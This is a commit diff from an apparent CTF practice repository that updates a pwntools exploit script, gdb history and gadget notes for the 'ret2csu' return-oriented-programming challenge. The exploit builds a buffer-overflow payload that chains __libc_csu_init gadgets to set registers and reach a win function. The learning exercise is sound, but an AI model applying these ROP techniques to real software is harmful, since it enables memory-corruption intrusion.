modified: x86_64/ret2csu/exploit.py
modified: x86_64/ret2csu/gadgets
This commit is contained in:
		
							parent
							
								
									11cbb37694
								
							
						
					
					
						commit
						5660ef3166
					
				| @ -54,3 +54,52 @@ stepi | ||||
| info reg rdi | ||||
| continue | ||||
| quit | ||||
| starti | ||||
| x 0x00000000004006a3 | ||||
| x 0x00000000004006a3 | ||||
| x __libc_csu_init | ||||
| x __libc_csu_init+99 | ||||
| quit | ||||
| break *0x40069a | ||||
| run | ||||
| continue | ||||
| context | ||||
| stepi | ||||
| info reg | ||||
| info reg rbx | ||||
| info reg rbp | ||||
| info reg r12 | ||||
| info reg r13 | ||||
| info reg r14 | ||||
| continue | ||||
| stepi | ||||
| info reg rbp | ||||
| info reg rbx | ||||
| stepi | ||||
| info reg rdx | ||||
| stepi | ||||
| continue | ||||
| continue | ||||
| stepi | ||||
| info reg r12 | ||||
| info reg rbx | ||||
| stepi | ||||
| quit | ||||
| continue | ||||
| quit | ||||
| continue | ||||
| continue | ||||
| auit | ||||
| quit | ||||
| break *0x40069a | ||||
| continue | ||||
| stepi | ||||
| finro reg rbx | ||||
| info reg rbx | ||||
| stepi | ||||
| info reg r12 | ||||
| x $r12 | ||||
| x $r12 + $rbx | ||||
| x $r12 + ($rbx * 8) | ||||
| x $r12 + (($rbx - 1) * 8) | ||||
| quit | ||||
|  | ||||
| @ -1,6 +1,8 @@ | ||||
| #!/usr/bin/env python3 | ||||
| from pwn import * | ||||
| 
 | ||||
| context.terminal = ['kitty', 'bash', '-c'] | ||||
| 
 | ||||
| prog = gdb.debug('./ret2csu', gdbscript='b *0x40069a') | ||||
| payload = b'' | ||||
| for c in range(40): | ||||
| @ -8,18 +10,26 @@ for c in range(40): | ||||
| 
 | ||||
| 
 | ||||
| payload += p64(0x40069a)            # __libc_csu_init() | ||||
| payload += p64(0) | ||||
| payload += p64(0) | ||||
| payload += p64(0x601020) | ||||
| 
 | ||||
| payload += p64(19) | ||||
| payload += p64(1) | ||||
| payload += p64(0x601018) | ||||
| payload += p64(0xdeadbeefdeadbeef) | ||||
| payload += p64(0xcafebabecafebabe) | ||||
| payload += p64(0xd00df00dd00df00d) | ||||
| 
 | ||||
| 
 | ||||
| payload += p64(0x400680) | ||||
| 
 | ||||
| payload += p64(1) | ||||
| payload += p64(2) | ||||
| 
 | ||||
| payload += p64(0x00000000004006a3) | ||||
| payload += p64(0xdeadbeefdeadbeef) | ||||
| 
 | ||||
| payload += p64(0x0000000000400510) | ||||
| 
 | ||||
| 
 | ||||
| #payload += p64(0x00000000004006a3) | ||||
| #payload += p64(0xdeadbeefdeadbeef) | ||||
| 
 | ||||
| payload += b"\n" | ||||
| 
 | ||||
|  | ||||
| @ -71,16 +71,18 @@ Disassembly of section .fini: | ||||
| calling x86:  | ||||
| 
 | ||||
| controlling rdx:  | ||||
| 1: 0x00000000004006a3 | ||||
|   rdi : 0xdeadbeefdeadbeef  | ||||
| 
 | ||||
| 2: 0x40069a | ||||
|   rbx: 0                          <-- | ||||
|   rbp: whatever | ||||
|   r12: 0x601020                   <-- next location. lets try to make it ret2win | ||||
|   r13: 0xdeadbeef                 <-- would be nice if we could use a 64 bit value | ||||
|   rbp: 1 | ||||
|   r12: 0xffffffff                 <-- next location. lets try to make it  | ||||
|   r13: whatever I guess           <-- would be nice if we could use a 64 bit value | ||||
|   r14: 0xcafebabecafebabe                  | ||||
|   r15: 0xd00df00dd00df00d         <-- | ||||
| 
 | ||||
| we can set r12 to [function@plt], and rbx to desired offset. | ||||
| 
 | ||||
| 3: 0x0000000000400510 (ret2win)  | ||||
| 0x00000000004004e0 : call rax | ||||
| 
 | ||||
| target address: 0x00000000004006a3  | ||||
| 0000000000400510 ret2csu | ||||
|  | ||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user
	 Brett Weiland
						Brett Weiland